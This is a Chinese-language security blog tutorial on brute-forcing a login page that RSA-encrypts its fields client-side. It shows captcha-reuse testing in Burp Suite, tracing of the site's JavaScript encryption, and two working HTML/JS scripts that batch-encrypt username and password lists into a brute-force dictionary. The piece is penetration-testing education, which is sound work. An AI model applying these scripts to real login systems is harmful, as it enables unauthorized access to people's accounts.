如何對登入介面加密欄位進行暴破?

SecIN發表於2022-08-25
一、導語

隨著時間的推移,安全也越來越被大家開始關注,隨之而來的就有各種內容加密,本文簡單對登入介面暴力破解時欄位被加密,如何處理加密內容進行暴破來進行一個簡單的分享。

二、正文

登入介面如下:
image.png

BP上代理,輸入賬號密碼驗證碼點選登入,檢視歷史記錄分析。
image.png
可以看到傳送了一個獲取驗證碼的請求,內容為base64的圖片和對應的key
繼續檢視登入驗證請求,進行分析
image.png
當圖片對應的key和字元正確時請求將會接受進行查詢。
但是驗證碼每次都是獨立獲取的,且響應中存在key值,我們只需呼叫重新整理驗證的請求,獲取key值和正確字元進行替換,那麼就可以保證每次請求的內容有效。

我們再輸入使用者名稱2進行抓包
驗證碼錯誤提示error
image.png
複製使用者2的資訊替換到之前使用者1的請求中重放。驗證碼依舊使用使用者1的。
image.png
驗證同一驗證碼可多次重複使用。
存在驗證碼重用的問題,但是請求加密了不能直接進行爆破。所以我們需要分析前端加密程式碼邏輯。

1.根據關鍵字快速定位加密欄位

開啟瀏覽器除錯模式,根據請求包的關鍵字在js指令碼中進行搜尋進幫助我們快速定位
定位到一個ajax請求
image.png
可以看到smsg的內容呼叫了rsa函式,加密內容為sMsgStr這個變數。
同時可以看到js資料夾下rsa.min.js檔案,根據命名檢視內容得知為rsa加密方法。

2.根據關鍵字快速定位加密規則

繼續搜尋關鍵字,追蹤變數 sMsgStr,可以看到為各欄位組合拼接內容。
image.png
那麼邏輯就很清晰了,我們只需獲取各欄位進行拼接,之後呼叫rsa函式加密即可。

3.根據加密規則獲取各欄位值

方法一:透過資料包獲取
直接在資料包中搜尋關鍵字端即可。

方法二:透過除錯獲取設定斷點
設定斷點
image.png
重新整理頁面,
輸入內容,點選登入image.png
進行斷點除錯

這裡點選進入下一個斷點檢視值。
可以看到 authType 值為1
image.png
繼續除錯獲取其他欄位值
image.png至此我們獲得了各欄位值
分析拼接規則,還呼叫了getLengthStr函式,繼續在js中依據關鍵字搜尋。

var sMsgStr = authType + getLengthStr(username) + getLengthStr(password) + getLengthStr(responseType)
                + getLengthStr(clientId) + username + password + responseType + clientId;//拼接規則

得到該函式內容
image.png
最後我們只需要呼叫rsa函式對拼接內容加密即可。
透過請求包獲取各欄位值,編寫驗證指令碼。

4.編寫測試指令碼驗證
<html>
<script src="https://www.test.com/js/rsa.min.js?ver=20220811"></script>
<script src="https://www.test.com/js/jquery-1.8.3.min.js?ver=20220811"></script>
<script>

var getLengthStr = function (str) {
        var length = str.length;
        if (length < 10) {
            return '0' + length;
        } else if (length < 100) {
            return '' + length;
        }
        return '00';
    };

    var rsa = new RSAKey();
    rsa.setPublic(window.UUAP_STATIC._encode_key, window.UUAP_STATIC._key_plus);
 var authType = 1;//透過資料包或除錯獲取
var username = "test";//自定義使用者名稱
    var password = '123qweASD@';//自定義密碼
    var responseType = 'code';//透過資料包或除錯獲取
    var clientId = 'uuapclient-465109485371793408-oKZZj';//透過資料包或除錯獲取
    var sMsgStr = authType + getLengthStr(username) + getLengthStr(password) + getLengthStr(responseType)
                + getLengthStr(clientId) + username + password + responseType + clientId;//拼接規則
    var okk = rsa.encrypt_b64(sMsgStr);//加密後的內容

document.write(encodeURIComponent(okk)+ "
"); //由於拼接內容有特殊符號,使用函式encodeURIComponent進行url編碼拼接,列印出來

</script>
</html>

將使用者名稱置空,測試加密內容是否正確
image.png
儲存為html檔案開啟。

wKg0C2L2DViAPRS7AACGGn6ygSM709.png
複製加密內容到BP進行重放驗證,根據提示可知,驗證指令碼正確。
image.png
再次修改使用者名稱為test進行驗證,根據提示可知,驗證指令碼正確。
image.png

5.編寫指令碼批次生成字典

編寫指令碼批次輸出使用者名稱或密碼加密後內容

<html>
<script src="https://test.com/js/rsa.min.js?ver=20220811"></script>
<script src="https://test.com/js/jquery-1.8.3.min.js?ver=20220811"></script>
<script>

var getLengthStr = function (str) {
        var length = str.length;
        if (length < 10) {
            return '0' + length;
        } else if (length < 100) {
            return '' + length;
        }
        return '00';
    };

    var rsa = new RSAKey();
    rsa.setPublic(window.UUAP_STATIC._encode_key, window.UUAP_STATIC._key_plus);
 var authType = 1;
    var responseType = 'code';
var username = "test";
    var password = '123qweASD@';
    var responseType = 'code';
    var clientId = 'uuapclient-465109485371793408-oKZZj';
    var sMsgStr = authType + getLengthStr(username) + getLengthStr(password) + getLengthStr(responseType)
                + getLengthStr(clientId) + username + password + responseType + clientId;
    var okk = rsa.encrypt_b64(sMsgStr);

//document.write(encodeURIComponent(okk)+ "
"); //由於拼接內容有特殊符號,使用函式encodeURIComponent進行url編碼拼接

var namelist = ["admin","chenxiuzhen"]; //替換使用者名稱列表
var passlist = ["passwd","Dandy123"];  //替換密碼列表

    //輸出使用者名稱加密後的內容
for (var i=0;i<namelist.length;i++)
{ 
  
    var username = namelist[i];
    var sMsgStr = authType + getLengthStr(username) + getLengthStr(password) + getLengthStr(responseType)
                + getLengthStr(clientId) + username + password + responseType + clientId;
    var okk = rsa.encrypt_b64(sMsgStr);
    document.write((username)+"
");
    document.write(encodeURIComponent(okk)+ "
");
  
}

    //輸出密碼加密後的內容
    for (var i=0;i<passlist.length;i++)
    { 
  
        var password = passlist[i];
        var sMsgStr = authType + getLengthStr(username) + getLengthStr(password) + getLengthStr(responseType)
                + getLengthStr(clientId) + username + password + responseType + clientId;
        var okk = rsa.encrypt_b64(sMsgStr);
        document.write((password)+"
");
        document.write(encodeURIComponent(okk)+ "
");
  
    }


</script>
</html>

效果圖:
image.png
輸出內容,複製貼上儲存為字典,最後根據字典使用BP進行爆破操作。
image.png

三、總結

整體內容並不複雜,相對正常測試加入了一部分前端分析除錯的內容,希望大家在安全測試過程中可以多抱著學習的態度,多點耐心和認真,早日成為安全專家。

相關文章